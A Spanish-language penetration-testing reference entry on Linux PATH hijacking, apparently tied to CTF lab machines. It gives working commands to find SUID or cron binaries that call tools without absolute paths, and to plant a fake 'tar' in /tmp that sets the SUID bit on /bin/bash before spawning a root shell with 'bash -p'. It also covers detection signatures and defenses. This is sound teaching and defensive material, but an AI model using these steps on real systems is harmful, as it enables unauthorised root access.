PATH hijacking
El PATH hijacking (secuestro del PATH) aprovecha que un programa privilegiado invoque otro ejecutable por su nombre, sin ruta absoluta. Cuando un proceso lanza, por ejemplo, tar en lugar de /usr/bin/tar, el sistema lo busca recorriendo los directorios de la variable de entorno $PATH en orden. Si el atacante puede anteponer un directorio que él controla y dejar ahí un fichero llamado igual, el proceso ejecutará su binario en vez del legítimo, heredando sus privilegios.
Identificar la llamada relativa
El caso más jugoso es un binario SUID de root o una tarea de root (cron) que haga una llamada del tipo system("tar -cvf ..."). Para detectarla se traza el binario o se leen sus cadenas:
ltrace -f /usr/bin/programa_vulnerable 2>&1 | grep -iE 'system|exec'
# system("tar -cvf /root/.backup/... ") ← tar sin ruta absoluta
strings /usr/bin/programa_vulnerable | grep -vE '^/' | grep -E 'tar|cp|id|service|systemctl'Cualquier comando sin / inicial es candidato: el binario confía en el PATH.
Explotación
Se crea un ejecutable falso con ese nombre en un directorio escribible y se pone ese directorio primero en el PATH antes de lanzar el binario:
cd /tmp
echo 'chmod u+s /bin/bash' > tar # payload: dejar bash con SUID
chmod +x tar
export PATH=/tmp:$PATH # /tmp gana la busqueda
/usr/bin/programa_vulnerable # ejecuta /tmp/tar como root
bash -p # shell que conserva euid=0La pieza fina es el -p de bash: sin él, la shell descarta los privilegios elevados al arrancar; con él los conserva, de modo que un /bin/bash con bit SUID (el que acaba de poner el payload) abre una sesión con euid=0(root).
Variantes
- Vía sudo con
secure_pathausente. Sisudo -lno fijasecure_pathy el script permitido llama a un binario sin ruta, se secuestra igual (sudo PATH=/tmp:$PATH <script>cuandoenv_keepconservaPATH). - Vía cron. Un cron de root que ejecute un binario sin ruta hereda el
PATHdel crontab; si podemos escribir en un directorio de esePATH, plantamos el binario (cron escribible). - Misma idea en Python: el orden de import se secuestra igual (hijack de librerías Python).
Cómo detectarlo. La firma es un proceso privilegiado ejecutando un binario desde una ruta anómala (/tmp/tar, /dev/shm/id) en vez de /usr/bin: auditd/Sysmon for Linux sobre execve revelan el path=/tmp/... con el ppid del binario SUID o de cron. En reposo, un ejecutable en un directorio de escritura de usuario cuyo nombre coincide con una utilidad del sistema (tar, cp, service) es un indicador; y una shell con euid=0 cuyo padre no es un proceso de administración cierra la cadena.
Defensa. Invocar siempre los binarios externos por ruta absoluta desde código privilegiado (o sanear PATH al principio del programa), definir secure_path en sudoers, no dejar que procesos de root confíen en el PATH heredado del entorno, y minimizar los binarios SUID propios. Relacionado con el abuso de binarios SUID y con la suplantación de librerías por orden de búsqueda.
Máquinas donde se aplica
- AmaterasuProving Grounds Play
- PandoraHackTheBox
- PhotobombHackTheBox
- RoquefortProving Grounds Practice
- Symfonos 1 & 2VulnHub